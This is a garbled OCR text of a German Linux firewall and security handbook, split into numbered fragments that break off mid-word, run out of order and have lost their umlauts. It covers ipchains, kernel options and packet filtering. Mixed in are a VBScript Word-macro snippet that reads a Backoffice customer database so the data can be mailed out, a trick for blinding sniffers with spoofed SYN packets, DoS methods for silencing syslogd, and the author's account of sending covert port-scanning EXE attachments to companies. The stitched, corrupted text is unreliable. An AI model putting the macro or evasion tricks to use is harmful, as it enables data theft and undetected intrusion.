414. llig bersehen da es reverse proxies gibt die eine hnlichen Aufbau erlauben deren Technik ist aber eine v llig andere Diese ist so nicht in LINUX verf gbar Ein Hinweise auf einen internen Router also eine zweite Absicherung gegen Zugriffe auf das Intranet fehlt v llig Die DMZ ist nicht existent Es wird auch nicht darauf hingewiesen da LINUX auch in der S u S E Version 6 0 gegen buffer overflows nicht gesch tzt ist und D monen weder in chroot Umgebung gestartet sind noch es verboten ist auf der Firewall X Windows u zu starten Einige kleinere spoofing Fehler in der Konfiguration bez glich der MASQUERADING D monen FTP VDO_LIVE CU See Me IRC Quake addieren sich zu der Tatsache das berhaupt keine Firewall jemals einen IRC Quake Client zulassen sollte Alle IRC Clients lassen sich remote fernsteuern ein gro es Sicherheitsrisik o Sowohl IRC als auch Quake sind bekannt daf r da sie unbekannten aus dem Internet Zugriff auf die Arbeitsstation hinter der Firewall geben LINUX ist bekannt f r seine Fehler im TCP IP Stack die in DoS Angriffe enden k nnen Die im Kernel eingebaute Firewall basiert auf dem TCP IP Stack ist also gegen TCP IP DoS Angriffe nicht abgesichert In der Installationsanleitung findet sich auch keinerlei Hinweis darauf Insgesamt kann man diesen Firewall Aufbau nur als katastrophal bezeichnen Diese Firewall sollte man auch nicht zus tzlich zu einer bestehenden
415. lls gerne verschweigen Man trifft auf diese Details dann wenn man aus den RFC s sich ein ganz bestimmtes Protokoll heraussucht und dieses genau analysiert Im Quellcode von LINUX 2 0 und 2 2 ist im Verzeichnis usr sre linux net ipv4 der Code der REALAUDIO CUSEEME und VDOLIVE Videokonferencing Protokolle zu finden Eine Besonderheit bei vielen Videokonferencing Protokollen ist da diese auf UDP bertragungen beruhen Darin enthalten ist das RTP Real Time Protocol welches f r einen Ausgleich bei Schwankungen der Ubertragungsgeschwindigkeit sorgt Allen Protokollen gemeinsam ist da die bertragung durch ein TCP Paket z B auf Port 554 und 7070 REALAUDIO initiiert wird Daraufhin sorgt der PROXY Mechanismus daf r da f r eine Zeit von ca 30 Sekunden die Firewall f r UDP Pakete aus dem Internet transparent wird Das bedeutet da ein Surfer hinter der Firewall f r Angriffe von dem REALAUDIO Server und von beliebigen anderen Host im Internet die mit gespooften Adressen arbeiten verletzlich wird Diese systematischen L cher in Firewalls wurden in keinem mir bekannte Falle auch nur erw hnt oder sogar getestet Dasselbe betrifft auch RPC also Protokolle die sich aus TCP und UDP Paketen zusammensetzen RPC s werden insbesondere von PDC s und BDC s unter NT benutzt also den Primary Domain Controller in Netzwerken mit mehreren NT Servern Haben Sie sich noch nicht gefragt ber welchen Port mit welchen Verschlisselungsalgor
416. ln f r den inneren Router Es sollten aber beim Auslesen des PORT Befehls alle Ports unterhalb 1024 explizit verboten werden da ansonsten ein eingeschleustes trojanisches Pferd als FTP Client einem Angreifer Zugriff auf alle Ports unterhalb 1024 er ffnen k nnte Pferd e SMTP1 und SMTP2 Ausgehende Post vom Bastion Host ins Internet wird durch diese Regeln zugelassen e SMTP3 und SMTP4 Eingehende Post aus dem Internet zum Bastion Host wird durch diese Regeln zugelassen e NNTP1 und NNTP2 Usenet News zwischen Ihrem News Server und dem News Server Ihres Service Providers werden in beiden Richtungen durch diese Regeln zugelassen Sie sind den gleichnamigen Regeln f r den inneren Router analog e HTTP1 und HTTP2 Diese Regeln erlauben Verbindungen zu HTTP Servern auf beliebigen Maschinen im Internet durch den HTTP Proxy Server auf dem Bastion Host Desweiteren werden allen TCP Clients auf dem Bastion Host die Portnummern gt 1023 benutzen Verbindungen zu allen Servern und allen Ports auf beliebigen Rechnern im Internet gestattet Dadurch wird dem HTTP Proxy Server erm glicht zu HTTP Servern die nicht die Standard Portnummer 80 benutzen Verbindungen herzustellen Trotz der Gro z gigkeit dieser Regeln filtern sie jedoch um nur ausgehende Verbindungen zuzulassen bez glich der ACK Bits e HTTP3 und HTTP4 Hierdurch werden externen Clients Verbindungen zum HTTP Server auf dem Bastion Host erlaubt Da im internen Netz keine HTTP Server a
417. ln konnte somit erheblich verbessert werden 12 3 Update von Linux 2 0 Kerneln Momentan wird ipchains in allen neuen 2 2 er Kerneln mitgeliefert F r Kernel 2 0 35 und 2 0 36 gibt es jedoch einen Patch soda der Umstieg auf den kompletten Kernel 2 2 mit glib2 nicht erforderlich ist Dieser Patch ist allerdings inkompatibel zu den Funktionen ipportfw und ipautofw soda diese Funktionen beim Kompilieren des Kernels deaktiviert werden m ssen Wer diese ohnehin nicht ben tigt der kann sich viel Arbeit sparen 12 4 Die Homepage von IPCHAINS Die offizielle Homepage ist The Linux IP Firewall Chains Page Hier findet sich auch eine Mailing Liste f r BUGS Diskussionen und Programmierung der Firewall Um sich anzumelden sollten man eine e Mail an die Adresse ipchains request wantree com au senden Im Inhalt der e Mail sollte subscribe stehen nicht im Subject Um an die Liste zu mailen kann wie blich eine e Mail an die Adresse ipchains wantree com au gesendet werden 12 5 Fallstricke mit Kernel Optionen f r LINUX 2 0 und 2 2 Die Vielzahl von Adaptern und m glichen Kernel Einstellungen sind f r Anf nger nicht nur verwirrend sondern k nnen auch die Firewall v llig unsicher machen Hier eine Diskussion der Probleme bei einigen Kernel Einstellungen Erstellt von Doc Gonzo http kickme to plugins e Fast Switching Ein Problem beim Tuning von LINUX sind die sogenannten Jumbo Frames oder Large Frames die mit einer MTU gt
418. localhost 1027 ESTABLISHED tcp 0 0 localhost 1024 localhost 1026 ESTABLISHED tcp 0 0 localhost 1026 localhost 1024 ESTABLISHED tcp 0 0O www ar LISTEN tcp 0 O ssh eats LISTEN tcp 0 0 linuxconf nage LISTEN tcp 0 0 midinet oa LISTEN tcp 0 0 btx nn LISTEN tcp 0 0 http rman we LISTEN tcp 0 0 auth En LISTEN tcp 0 0 finger 2 LISTEN tcp 0 0 pop3 I LISTEN tcp 0 0 login wo LISTEN tcp 0 O shell aa LISTEN tcp 0 0 printer en LISTEN tcp 0 0 telnet nn LISTEN tcp 0 0 ftp ae LISTEN tcp 0 0 time nn LISTEN tcp 0 0 chargen sage LISTEN tcp 0 0 daytime goat LISTEN tcp 0 0 discard ei LISTEN tcp 0 0 echo ky LISTEN tcp 0 0 2049 ee LISTEN tcp OR 02 ce LISTEN tcp 0 0 690 nae LISTEN Erstellt von Doc Gonzo http kickme to plugins tcp 0 0 sunrpe eat LISTEN udp 0 0 1026 En Alle Ports die auf LISTEN stehen sind aktiv Wie man sehen kann sind viel zu viele Dienste unn tig aktiviert Dieses ist ein Beispiel einer standardm ig installierten LINUX Distribution Es gibt einfach zu viele Angriffspunkte f r Cracker Die Dienste ECHO DISCARD und CHARGEN sind z B in der S u S E Distribution unn tig deaktiviert Wenn diese deaktiviert werden dann funktionieren z B TELNET und andere Dienste wie PING nicht mehr korrekt Es kann dann erhebliche Zeitverz gerungen beim Verbindungsaufbau oder beim Abbruch geben Auf einer Firewall sollten nur die unbedingt notwendigen Dienste und D momen laufen F r di
419. lt wertvolle Informationen ber das Routing nur wenn man mehrere Netzwerkkarten gt 2 betreibt nat rlich e Die Option IP firewall packet netlink device dient dazu die Statusinformationen beim Einsatz von IPCHAINS auszulesen um z B counter intelligence Ma nahmen zu ergreifen Siehe hierzu auch den entsprechenden Abschnitt bei der SINUS Firewall Diese Option kann auch dazu verwendet werden Pakete f r bestimmte Netze an ein Device zu bergeben wo sie z B verschl sselt oder gefiltert werden k nnen Auch als Monitor ist diese Option verwendbar z B mit TCPDUMP Abschalten e IP Always defragment ist obligatorisch immer einzuschalten da ansonsten Angriffe mit Fragment Offsets drohen Auch Masquerading funktioniert nicht ohne diese Option e IP Transparent PROXY ist soweit ok sofern nicht spezielle Protokolle wie z B FTP SSL 3 oder Real Video eingesetzt werden Diese funktionieren nat rlich nicht Siehe Abschnitt ber Protokolle e IP Masquerading wird unweigerlich mit der Option IP fast network address translation kollidieren NAT ist eine Adaption von N M Hosts Masquerading eine Adaption von 1 M Hosts Da Masquerading mehr spezielle Protokolle unterst tzt sollte man Masquerading gegen ber NAT bevorzugen e IP FAST NETWORK ADDRES TRANSLATION erm glicht es M interne Hosts auf N externen Hosts abzubilden Hierbei ist M lt N Es erfolgt eine automatische bersetzung von IP Adressen Diese Option sch tzt vor nichts
420. lterfunktion den R ckgabewert einer zutreffenden Regel bergeben kann Konfiguration und Kontrollroutinen Wann immer das SFC Userprogramm gestartet wird um Konfigurationen vorzunehmen werden alle Informationen des Firewall D mons ber das Firewall Device an den Filter bergeben Das Device ruft die Funktion sf_write_config in sf_filter c auf Die Funktion fordert neuen Speicherraum an und kopiert den gesamten Puffer hinein Es mu ber cksichtigt werden da der C Compiler z B um 1025 Byte zu speichern 2048 Byte anfordert Wenn also ein bestehender Buffer von knapp ber 1 MByte Gr e kopiert werden mu da ca 4 MByte tats chlich ben tigt werden Die Firewall ist also immer mit gen gend RAM auszustatten Danach wird der Befehl interpretiert und die entsprechende Funktion aufgerufen sf_init wird aufgerufen wenn das Kernel Filtermodul eingef gt wird um die HASH Queues zu initialisieren sf_del_all_timers wird aufgerufen wenn das Filtermodul entladen wird Alle aktiven Timer m ssen beendet werden damit Speicherplatz korrekt wieder freigegeben werden kann sf_clear sf_add sf_replace und sf_delete werden aufgerufen um die lineare Liste des Regelwerkes bearbeiten zu k nnen sf_flush and sf_flush_all sind bereits in ihren Funktionen beschrieben worden Wenn immer der Befehl SF_COMMAND_FW_ADDR eingegeben wird wird der Buffer kopiert Hierf r ist die Funktion sf_write_config zust ndig Die Funktionen sf_rule_firs
421. lugins Dieses Beispiel z hlt den Traffic f r den Nameserver Da dieses Protokoll sowohl UDP als auch TCP verwendet m ssen beide Protokolle angegeben werden Warum 0 0 Das Problem bei dem Z hlen von Paketen ist da man nicht wei welchen Ausgangsport der anfragende Client verwendet Es ist immer nur der Zielport bekannt in diesem Fall Port 53 Daher 0 0 F r das Z hlen von anderen Protokollen mu man die Portnummer eines Dienstes genau kennen Die m glichen Protokolle findet man in der Datei etc protocols die tats chlich aktivierten in der Datei etc inetd conf Es k nnte jedoch auch sein da D monen per Hand aktiviert wurden diese also nicht in der Datei etc inetd conf f r einen automatischen Start eingetragen wurden Mit netstat a kann man sich alle aktiven D monen Dienste und deren Portbindung an die jeweiligen Interfaces ausgeben lassen root tunix etc gt netstat almore Active Internet connections including servers Proto Recv Q Send Q Local Address Foreign Address State tcp 0 0 6000 wg LISTEN tcp 0 0 3128 2 LISTEN tcp 0 Olocalhost 1105 localhost 1106 ESTABLISHED tcp 0 Olocalhost 1106 localhost 1105 ESTABLISHED tcp 0 0 localhost 1052 localhost 1104 ESTABLISHED tcp 0 Olocalhost 1104 localhost 1052 ESTABLISHED tcp 0 0 localhost 1030 localhost 1050 ESTABLISHED tcp 0 0 localhost 1050 localhost 1030 ESTABLISHED tcp 0 0 localhost 1027 localhost 1028 ESTABLISHED tcp 0 O localhost 1028
422. lung sehr den Schutz vor Angriffen mit gespooften Adressen Hierzu mu jedoch der TCPD mit DPARANOID neu kompiliert werden Dies trifft im brigen auf die D monen zu APACHE SAMBA BIND SQUID mountd Diese m ssen alle mit der eingebundenen libwrap neu kompiliert werden damit diese bei jedem Kontakt mit einem Client einen double reverse lookup durchf hrt Der Befehl man tcpd gibt zus tzlich noch gen gend Hinweise f r die Konfiguration des TCP Wrappers Hier noch einige Tips zur Konfiguration der Firewall e Die Firewallregeln sollten immer nur von einem vollst ndigen Skript aus gesetzt werden e Es sollte sichergestellt sein da alle vorherigen Regeln gel scht werden Dies kann mit ipfwadm F I O f geschehen Um sich davon zu berzeugen da alle Regeln wirklich gel scht sind reicht ipfwadm V O F I aus e Man sollte nicht vergessen vor dem L schen der Regeln die Firewall von dem ISDN Router zu trennen Die default policy ist auch eine Regel Im richtigen Moment k nnte sonst ein Angreifer durch die Firewall tunneln Dies ist abh ngig davon ob forwarding im Kernel aktiviert wurde e Die Firewall sollte niemals ungepr ft an das Internet angeschlossen werden Die Philosophie des Herumprobierens bis es l uft und dann zu testen hat schon vielfach zu Einbr chen gef hrt Insbesondere interessieren sich Hacker f r neu vergebene IP Netze und Domainnamen RIPE Es dauert mitunter nur Stunden bis ein Hacker sein Gl ck
423. m Sind sie auf Spurenverfolgung einer Verbindung so sind sie nicht mehr in der Lage andere Verbindungen gleichzeitig zu observieren Um diese Aufgabe bew ltigen zu k nnen m ten sie gleichzeitig die Arbeit aller TCP IP Stacks im Netzwerk verrichten dies w re wohl auf einer CPU etwas zuviel verlangt Daher entgeht ihnen stets ein gro er Prozentsatz des gesamten Traffics Ein Angreifer mu sich also wenn er dynamische Angriffe ausf hrt auf ein Rechnerpaar beschr nken ebenso verh lt es sich mit aktiven IDS Systemen Intrusion Detection Sniffer und Netzwerkscanner die z B auf einem Server einen bestimmten Port berwachen kann man mit einem einfachen Trick stilllegen Bevor er sich z B via telnet auf Port 23 einloggt so sendet er ein gespooftes SYN Paket Falls ein Sniffer aktiv ist wird er logischerweise nach Paketen dieses gespooften Rechners mit dem Port 23 als Zielport lauschen So kann man sich einloggen ohne da der Sniffer das Pa wort mitscannen kann Sp ter wenn der TCP IP Stack die Verbindung wegen Timeout beendet ist der Sniffer wieder aktiv Ein weiteres Problem liegt darin da ein Sniffer nicht wirklich in die Verbindungen hinein schaut also nicht an dem Datenaustausch teilnimmt wie die beobachteten Rechner Er trifft bez glich IP Paketl nge und TCP Paketl nge daher bestimmte Annahmen und interpretiert die Pakete nach diesem Standardschema Bei einer nderung z B der L nge des TCP Headers und der spo
424. m glich zwischen http Traffic und IRC Traffic auf Port 80 zu unterscheiden Beispielsweise werden bei dem Einsatz der S u S E Linux 5 3 und 6 0 Distribution als Firewall genau diese IRC und QUAKE PROXY s per default aktiviert Da sich Datentransfers ber diese PROXY s jeder Kontrolle in Logfiles entziehen bestehen auch keine Kontrollm glichkeiten Uber IRQ ICQ und Quake lassen sich die Verzeichnisse von Arbeitsplatzrechnern und den angeschlossenen Servern beliebig auslesen und ins Internet bertragen Diese Funktionen sind fester Bestandteil der IRQ Philosophie und somit immer aktiv Die meisten Angriffe erfolgen inzwischen ber IRQ Netmeeting erlaubt zudem noch den Start von shared applications um z B gemeinsam in einem EXCEL Sheet arbeiten zu k nnen Netmeeting ist an sich eine Punkt zu Punkt Verbindung ber NetShow werden Konferenzschaltungen m glich ein wichtiger Angriffpunkt Quake ist ein beliebtes Netzwerkspiel welches gerne in der Mittagspause gespielt wird Es besitzt gro e Sicherheitsprobleme Microsoft Windows als trojanisches Pferd Auch wenn es einigen Entscheidern nicht passen mag Man kann es nicht deutlich genug sagen Wer Microsoft Windows 98 oder NT 4 0 im Netzwerk installiert hat hat gleich mehrere trojanische Pferde installiert welche den M glichkeiten von BO NETBUS IRQ oder Netmeeting entsprechen Eine Firewall kann nicht verhindern da ein Angreifer in dem Moment wenn jemand vom Arbeitsplatz
425. m glichkeiten auf Intranets habe ich in kleinem Rahmen an mir pers nlich bekannte Mitarbeiter bei gr eren und kleineren Unternehmen Mails mit Attachment versendet Alle Mitarbeiter haben die Attachements ge ffnet und die darin enthaltenen harmlosen Programme gestartet Die Erfolgsquote liegt nahe den 100 Es ist f r jeden von Microsoft zertifizierten MCSD m glich Angriffswerkzeuge zu Erstellt von Doc Gonzo http kickme to plugins schreiben und per E Mail an Mitarbeiter von Unternehmen zu versenden Dieses von mir verwendete EXE Programm hat einen Portscan ber alle IP Nummern des Netzwerkesbereiches der Arbeitsstation und einige Broadcast Pakete in das Intranet versendet Keine der Firmen hat diese bemerkt und Nachforschungen angestellt Einige Systemadministratoren haben bei einer anschlie enden Besprechung diese zwar Scans bemerkt konnten jedoch die Ursache und Herkunft nicht ergr nden Abschlie end m chte ich behaupten da man jede Person die eine Zertifizierung als MCSD besitzt und die die M glichkeiten kennt nach der Lekt re diese Handbuches sp testens hat sie diese wie man Angriffswerkzeuge schreibt schon als potentiellen Cracker betrachten mu der ber das Wissen verf gt in beliebige Unternehmen vorzudringen und Informationen aus diesen in das Internet zu entf hren 32 Was Hersteller kommerzieller Firewalls verschweigen Es gibt eine ganze Menge von kleinen Details die Hersteller von renomierten Firewa
426. m man nach eigenem Geschmack Aufs tze auf den Internet Explorer basteln kann gelingt es einem Angreifer schnell ein trojanisches Pferd zusammen zu basteln Makroviren via E Mail Makroviren die via E Mail in ein Unternehmen eingeschleust werden k nnen im Quellcode so ziemlich alle m glichen Programme versteckt haben Grund ist die Hinterlegung von Office 97 mit dem Visual Basic 5 0 und einem Update auf Winsock2 0 2 1 Hiermit ist es nun m glich Netzwerksniffer direkt in die Makro s von Excel WinWord oder PowerPoint hinein zu programmieren Auch BO k nnte man via Winword Makro auf dem Arbeitsplatzrechner installieren Schwachpunkt ist immer der Internet Anschlu Erst k rzlich wurde entdeckt da auch unter Windows NT 4 0 mit Excel Makro s voller Zugriff auf das System m glich ist Vasselin Bontchev BUGTRAQ Virenscanner k nnen einen solchen Angriff leider noch nicht erkennen E Mail Attachments Wer hat sie noch nicht erhalten Unter bekannten tauscht man gerne mal einen EXE Gru aus Wer kennt sie nicht Elchtest aus PCWELT X MAS EXE Getrankehalter Die CDROM f hrt aus Aus vermeintlich vertrauensw rdiger Quelle vermutet niemand ein trojanische Pferd Angreifer kennen meist aber Mail Adressen von Kollegen und externen Mitarbeiter n da einem Angriff immer eine genaue Untersuchung der Logfiles des E Mail Exchangers Relays vorausgeht Uber abgefangene E Mails die zumeist noch CC Adressen enthalten ist der Angreifer dur
427. mal einige selber testen um zu sehen wie die Firewall oder der LINUX Host darauf reagiert welche Fehlermeldungen erscheinen und wie diese zu interpretieren sind Man sollte sich aber dar ber im Klaren sein da der Betrieb einer LINUX Firewall doch etwas elementarer ist als der Betrieb einer teuren Firewall Wer z B den Marktf hrer Firewall 1 von Checkpoint auf SUN SOLARIS installiert der wird sich wundern welche Probleme auf ihn zukommen Die T cke steckt auch hier im Detail Der Betrieb unter Windows NT ist ebenso mit vielen Problemen ges t die sich ohne professionelle Hilfe nicht l sen lassen LINUX Firewall sind mit Abstand die am besten dokumentierten Systeme die man finden kann Hilfe gibt s hier stets im Internet in den NEWSGROUPS Das wichtigste ist jedoch im Falle eines Angriffs sich auf die erw hnten Analysewerkzeuge zu besinnen und einfach mal das System in Ruhe beobachten Wenn man dann einen Angriff bemerkt der zudem noch erfolgreich ist ist noch lange keine Panik angesagt Es dauert seine Zeit bis ein Angreifer sich im Intranet zurechtgefunden hat die Sicherheitsschranken der Server berwunden hat und er anfangen kann die Daten ber ISDN zu kopieren Besonderes Augenmerk sollte man auch auf Aufzeichnungsl cken des SYSLOGD haben Unter fast allen LINUX 2 0 Versionen ist es relativ einfach m glich durch die Firewall hindurch den INETD und den SYSLOGD mit einem DoS Angriff stillzulegen Der Grund ist ein Fehler im Ker
428. mance auszuwirken Sie sollten nachdem Sie diese bung hier absolviert haben alle Serverd momen unter UNIX so absichern Wie man einen WWW Server unter UNIX hinter einer Firewall mit Hilfe eines CHROOT Skriptes absichert wird in diesem Abschnitt detailliert beschrieben Man beachte auf das Kapitel CHROOT Das Original findet sich auf http noohoo ncsa uiuc edu docs tutorials chroot example html und ist von Denise Deatrich vom CERN Schweiz verfasst worden Sie ist in englisch verfa t und leicht verst ndlich The following is a post from last year about how someone went about creating a chroot web server Though he used CERN s http it applies equally well to most web servers From deatrich hpopel cern ch Denice Deatrich Subject how to chroot your web tree an example this posting is a bit long but might be useful to people who want a detailed example of chroot ing a web tree Earlier this year I chroot ed our web tree and I m REALLY glad I did Our web site fulfills many functions and grows like mad Various people contribute to the tree and they will try almost _anything_ even people who you thought knew little about unix Why do this Well it suffices to read comp security unix or comp infosystems www authoring cgi to understand why you should be aware of possible security pitfalls in serving a web tree So why not take extra precautions to protect your server chroot ing an application definitely limits the
429. n Den R ckantworten ist der Username und einige Zusatzinformationen zu entnehmen die dieser in eine plan Datei seines Homeverzeichnisses geschrieben hat rusers ist der Versuch festzustellen von wo aus sich der User in den Host eingeloggt hat und wie lange dieser schon aktiv oder unaktiv ist idle time Ohne besondere Anweisungen an die Firewall werden alle diese Ausgaben in die Datei firewall spy in dem Verzeichnis des Logfiles abgelegt Wenn das Schl sselwort mail sich in demselben notification level wie das spy Schl sselwort befindet dann werden zus tzlich die Ergebnisse per e Mail zugestellt Hier ein paar Beispiele f r eine Ausgabe in firewall spy FIREWALL COUNTER INTELLIGENCE REPORT Aug 09 12 20 02 Triggered by s 13 accept TCP 1 2 3 4 1065 gt 193 194 195 196 telnet Host address 1 2 3 4 Host name oval office gov identd information User ID mlevinski finger information 1 2 3 4 Login mlevinski Name Monica Levinski Directory home unabom Shell bin csh On since Wed Aug 9 10 27 EST on ttyl No Mail No Plan Login bclinton Name Bill Clinton Directory home bclinton Shell bin bash Erstellt von Doc Gonzo http kickme to plugins On since Wed Aug 9 9 32 EST on tty2 idle 0 22 New mail received Wed Aug 9 12 18 1995 EST Unread since Tue Aug 8 20 03 1995 EST Plan Hanging around rusers information mlevinski localhost ttyl Aug 9 10 27 belinton localhost tty2 Aug 9 9 32 22 Einige E
430. n Was passiert wenn man z B einen S u S E LINUX Server mit einer SQL Datenbank ins Internet stellt oder wie man die Backoffice Datenbank mit Visual Basic ausliest und in das Internet versendet sollen ein paar Beispiele zum besseren Verst ndnis zeigen 26 1 Auslesen der Backoffice Datenbank mit einem Winword Makro Dieses Beispiel soll nur zeigen da es dank der ausgekl gelten Zusammenarbeit von Visual Basic Script und Winword Excel Access einem Angreifer einfach m glich ist die Backoffice Datenbank anzusprechen und alle Daten per Mail in das Internet zu versenden Hierzu kann man z B Teile des Codes des im Kapitel Melissa amp Co beleuchtet vorgestellten Code des bekannten Makrovirus f r Winword verwenden Diesem Code mu der Angreifer dann nur noch ein paar eigene Zeilen hinzuf gen Set Connection Server CreateObject ODBC Connection rem Alternativ auch ADODB Connection Connection Open DSN Datenbankname SQLStmt SELECT Kundennummer Name Umsatz FROM Kunde LIMT 1 100 Connection Execute SQLStmt Erstellt von Doc Gonzo http kickme to plugins Mit hoher Wahrscheinlichkeit erh lt der Angreifer Zugang zu allen Daten auf die auch der eingeloggte User Zugriff hat Da der User ja authentifiziert ist und der User selber das Visual Basic Makro in Winword oder Excel ausf hrt mu der Angreifer also noch nicht einmal ein Pa wort kennen um die Daten aus Backoffice auslesen zu k nnen Die Daten k nn
431. n Angriff w re somit erfolgreich Der kleine Zusatz in Regel 4 ACK gesetzt bedeutet gleichzeitig SYN darf keinesfalls gesetzt sein Dann ist n mlich der Verbindungsaufbau von Port 25 nach z B Port 8080 WWW PROXY CACHE des Hosts untersagt Ein gro es Problem ist die Behandlung von UDP UDP kennt keine ACK Bits soda hier der Paketfilter immer wieder von neuem entscheiden mu ob das Paket zul ssig ist oder nicht UDP besitzt auch keine Pr fsummen die eventuell verlorengegangene oder von einem Angreifer zus tzliche eingeschleuste Pakete entdecken k nnten Hierf r gibt es TCP lt gt UDP Relays F r die Sicherheits berpr fung mit einem Portscanner bedeutet dieses da alle Kombinationen von Quellport und Zielport ebenfalls gepr ft werden m ssen Das w ren ungef hr 4 3 Milliarden Pakete 655362 Die berpr fung mit nur einem Paket w rde ca 1 Tag dauern 10 MBit Portscanner berpr fen daher stets nur die Zielports unter Verwendung eines einzigen Quellports Wie wichtig diese berpr fung ist zeigt sich an einem Einbruch in die Site von Wietse Venema der Autor des TCP WRAPPER ist Ein Hacker hat den Quellcode so ver ndert da eine Rootshell aktiviert wird sobald von einem bestimmten Quellport auf einen bestimmten Zielport des Wrappers zugegriffen wird Ein normaler Portscanner h tte das Problem nicht erkannt Umso wichtiger erscheint es da die Firewall counter intelligence Mechanismen besitzt und nach einig
432. n DoS Angriff aus Es ist also erh hte Vorsicht beim Programmieren eines solchen Filters geboten Uberlegenswert ist es ob man dedizierte Hardware hierf r einsetzt und diese mit Firewalls noch einmal sichert Alternativ kann man auch einen D mon Dienst einsetzen dessen Fehler stets ver ffentlicht werden soda man pr ventiv stets die neuesten Patches einspielen kann Eine Garantie kann prinzipiell nur bei Software gegeben werden die auch im Quellcode verf gbar und somit berpr fbar ist Einige Hersteller haben die Neigung nur dann Fehler zu korrigieren oder zuzugeben wenn sie massiv damit konfrontiert werden Hierzu geh rt insbesondere Microsoft Auch dann ist es noch eine Frage wann die Fehler korrigiert werden Eine Konsequenz daraus hat IBM gezogen IBM supportet nun offiziell z B den Apache WWW Server der u a auch in LINUX und BSD UNIX eingesetzt wird Die Netfinity Serie wird im Prinzip mit vielen LINUX Softwarekomponenten ausgeliefert GNU Software Hersteller wie HP DEC u s w setzen diese Software auch ein Software die Datenstr me filtern kann gibt es in gro er Zahl Sie unterscheiden sich erheblich in Qualit t und Funktionalit t Sie sind zumeist in PERL oder in JAVA geschrieben Fast alle sind im Quellcode verf gbar aus nachvollziehbaren Gr nden Einige Firewalls haben Filtersprachen eingebaut es mu aber vorher abgekl rt werden ob diese f r alle Dienste anwendbar sind Application level Gateways PROXY s be
433. n Router Server 1 und dem Logserver sofort bemerken Es ist h chst unwahrscheinlich da ein Angreifer zur gleichen Zeit beide Logserver angreifen kann 17 Filterregeln und Erkl rungen Dieses Kapitel beschreibt alle wichtigen Protokolle und die Zusammenh nge zwischen IP TCP UDP und den h heren weil zusammengesetzten Protokollen Es wird im Detail beschrieben welche Ports in welcher Reichenfolge ge ffnet werden m ssen damit diese ber die Firewall transportiert werden k nnen Leider bieten sogar Hersteller von renommierten Firewalls Proxy s f r Protokolle an die sich nicht f r Proxy s eignen Entsprechende Sicherheitsprobleme sind somit vorprogrammiert Diese folgenden Kapitel werden diese im Detail beschreiben und begr nden 17 1 Das ACK Bit Manchmal ist es sinnvoll eine TCP Verbindung in nur eine Richtung zuzulassen und in die andere Richtung zu verbieten Wir m ssen hierzu zwischen dem Vorgang des Verbindungsaufbaues und der bertragung der folgenden Pakete unterscheiden Um eine Verbindung aufzubauen wird ein SYN Paket gesendet welches mit einem ACK quittiert wird Danach folgen nur noch Pakete die kein ACK Bit gesetzt haben Es reicht also nach dem SYN Bit zu differenzieren da Pakete mit SYN Bit kein ACK Bit gesetzt haben sollten Was aber passiert wenn ein Angreifer SYN und ACK Bits zusammen setzt Nun sobald ein ACK Flag gesetzt ist mu das Paket zu einer bestehenden Verbindung geh ren Die Firewall merkt
434. n adress spoofing entdeckt wird werden die internen Firewallregeln RULE_SPOOF_RECV oder RULE_SPOOF_XMIT aktiv Die enthaltenen Informationen werden an den Firewall D mon bergeben Die weiteren Paketinformationen werden dann verworfen F r den Fall da ein Paket weitergeleitet wird kann die weitere berpr fung nach der berpr fung auf spoofing entfallen Fragmentierung Wenn ein Fragment Offset in dem IP Header gesetzt ist wird die Paket ID als HASH Wert mit evtl Eintr gen in vorangegangenen Paketen verglichen und dem Filter mitgeteilt ob ein Paket passieren darf oder nicht Die Eintr ge in der HASH Queue sind dem Timeout Mechanismus unterworfen der diese l scht wenn l ngere Zeit keine Pakete mehr erfolgreich die Firewall durchlaufen haben Der Timeout Z hler beginnt von Neuem wenn der Vergleich positiv war Das Fragment mu auch hier nicht weiter berpr ft werden es wird automatisch intern weitergeleitet Mit dem Eintreffen eines fragmentierten Paketes und dem Aufruf der Funktion SF_CHKFRAG wird ein neuer Eintrag in die HASH Queue vorgenommen und der Timer zur ckgesetzt TCP Zugelassene TCP Verbindungen werden in HASH Queues gespeichert Der HASH Schl ssel berechnet sich aus der Summe von Quelladresse Zieladresse und den zugeh rigen Portnummern modulo der im Quellcode angegebenen Primzahl 499 in sf_filter c Die Adressen sind zuvor in 32 Bit Integerwerte konvertiert worden Die HASH Tabelle enth lt den Stat
435. n an M L 2 Setze Timouts auf maskierte Pakete M S Hinweis can t set masquerading timeouts Die eventuell wichtigste Funktion erlaubt die berpr fung der Regeln hierzu mehr sp ter Aufsetzen einer Regel Die am h ufigsten verwendeten Befehle werden sicher das Anh ngen und L schen von Regeln sein Die anderen Befehle wie das Einf gen und Ersetzen von Regeln sind einfach nur Varianten Jede Regel definiert einen Satz von Bedingungen die wenn sie die Regel erf llen angeben wie mit dem Paket weiter zu verfahren ist 127 0 0 1 ist per Definition das loopback interface welches von vielen UNIX Programmen immer dann benutzt wird wenn kein Netzwerk Interface zur Kommunikation von Programmen untereinander zur Verf gung steht Die Programme binden sich normalerweise an alle Interfaces gleichzeitig Der Befehl ping sendet ein Paket vom Typ Erstellt von Doc Gonzo http kickme to plugins ICMP Nummer 8 echo request worauf der Host mit einem ICMP Paket Typ 0 echo reply antwortet Ein Beispiel ping c 1 127 0 0 1 PING 127 0 0 1 127 0 0 1 56 data bytes 64 bytes from 127 0 0 1 icmp_seq 0 ttl 64 time 0 2 ms 127 0 0 1 ping statistics 1 packets transmitted 1 packets received 0 packet loss round trip min avg max 0 2 0 2 0 2 ms ipchains A input s 127 0 0 1 p icmp j DENY ping c 1 127 0 0 1 PING 127 0 0 1 127 0 0 1 56 data bytes 127 0 0 1 ping statistics 1 packets transmi
436. n hier jedoch v llig aus Wer dennoch Performanceprobleme hat der sollte mehrere LINUX GRAPHICAL WALL aufbauen Wer viele User surfen lassen m chte und wem die Performance nicht reicht der kann auf den Arbeitsstationen den Freeware X Server Server ist korrekt obwohl Client f r Windows 95 98 NT installieren Das X Protokoll ist sehr kompakt und erlaubt den Anschlu von mehreren hundert Arbeitsstationen pro 100 MBit LAN Hier werden zwar auch nur Bildschirminformationen bertragen jedoch besteht die Gefahr eines Buffer Overflows im X Server auf der Arbeitsstation hinter der Firewall 2 Diese Gefahr ist jedoch nicht so bedeutend da ein Einbruchsversuch in den LOGFILES von Firewall 2 schnell bemerkt werden w rde Diese GRAPHICAL WALL ist in zahlreichen Unternehmen im Einsatz und hat sich u erst bew hrt Probleme mit Viren Makroviren trojanischen Pferden geh ren dort nun der Vergangenheit an Und wenn nun ein Angreifer es schafft bis zur LINUX GRAPHICAL WALL vorzudringen dann sicherlich nicht unbemerkt Sp testens bei der Entdeckung der VNC Server wird ein professioneller 